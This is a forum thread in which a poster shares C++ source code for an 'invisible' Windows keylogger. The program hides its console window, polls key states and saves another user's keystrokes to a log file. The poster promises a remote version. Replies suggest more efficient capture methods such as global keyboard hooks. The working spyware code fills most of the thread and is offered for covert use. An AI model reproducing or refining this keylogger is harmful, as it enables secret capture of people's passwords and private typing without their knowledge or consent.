basic invisible keylogger

Posts 1–8 of 8 · Page 1 of 1
basic invisible keylogger
this is my basic invisible keylogger source code, it will record their keys then
when the program is exited - by ending the process or shutting down the computer, it will make a txt file
called "log" wherever it was dled to.
im working on a remote one, so stay tuned
Code:
#include <stdio.h>
#include <windows.h>
#include <iostream>
#include <fstream>
#include <string>

using namespace std;

int main(){
    FreeConsole();
    string log;
    while(true){
      if(GetAsyncKeyState(0x41)){
           cout<<"a";
           log+="a";
           Sleep(200);                      
      };
      if(GetAsyncKeyState(0x42)){
           cout<<"b";
           log+="b";
           Sleep(200);                      
      };
      if(GetAsyncKeyState(0x43)){
           cout<<"c";
           log+="c";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x44)){
           cout<<"d";
           log+="d";
           Sleep(200);                      
      }; 
      if(GetAsyncKeyState(0x45)){
           cout<<"e";
           log+="e";
           Sleep(200);                      
      };      
     
      if(GetAsyncKeyState(0x46)){
           cout<<"f";
           log+="f";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x47)){
           cout<<"g";
           log+="g";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x48)){
           cout<<"h";
           log+="h";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x49)){
           cout<<"i";
           log+="i";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x4a)){
           cout<<"j";
           log+="j";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x4b)){
           cout<<"k";
           log+="k";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x4c)){
           cout<<"l";
           log+="l";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x4d)){
           cout<<"m";
           log+="m";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x4e)){
           cout<<"n";
           log+="n";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x4f)){
           cout<<"o";
           log+="o";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x50)){
           cout<<"p";
           log+="p";
           Sleep(200);                      
      }; 
      if(GetAsyncKeyState(0x51)){
           cout<<"q";
           log+="q";
           Sleep(200);                      
      };  
           if(GetAsyncKeyState(0x52)){
           cout<<"r";
           log+="r";
           Sleep(200);                      
      };
      if(GetAsyncKeyState(0x53)){
           cout<<"s";
           log+="s";
           Sleep(200);                      
      };  
      if(GetAsyncKeyState(0x54)){
           cout<<"t";
           log+="t";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x55)){
           cout<<"u";
           log+="u";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x56)){
           cout<<"v";
           log+="v";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x57)){
           cout<<"w";
           log+="w";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x58)){
           cout<<"x";
           log+="x";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x59)){
           cout<<"y";
           log+="y";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x5A)){
           cout<<"z";
           log+="z";
           Sleep(200);                      
      }; 
      if(GetAsyncKeyState(VK_SPACE)){
           cout<<"_";
           log+="_";
           Sleep(200);                      
      }; 
      if(GetAsyncKeyState(0x6E)){
           cout<<".";
           log+=".";
           Sleep(200);                      
      }; 
      if(GetAsyncKeyState(0x0d)){
           cout<<"/n";
           log+="<br>";
           Sleep(200);                      
      }       
           
  ofstream myfile;
  myfile.open ("log.txt"); //you can rename this to whatever you want instead of "log"
  myfile << log;
  myfile.close();
  
};

}
ever heard of inefficient coding? thats what you're doing...
What about all the other characters?

I had no trouble compiling it with Microsoft's compiler.
i didnt relize that it worked with microsoft compilers, my dev c++ and visual c++ are alot different
ToAscii / GetKeyNameText Anyone?
Quote Originally Posted by B1ackAnge1 View Post
ToAscii / GetKeyNameText Anyone?
GlobalKeyBoardhook anyone? xD that would make it about 10x less lines and work lol!
I THink my asm keylogger had less code in it.... lol
Quote Originally Posted by B1ackAnge1 View Post
I THink my asm keylogger had less code in it.... lol
Yep, and was also a millions time harder to understand because its ASM and ASM brainphucks me sometimes
Posts 1–8 of 8 · Page 1 of 1
This thread is closed for replies.

Similar Threads

Tags for this Thread

None

Need help?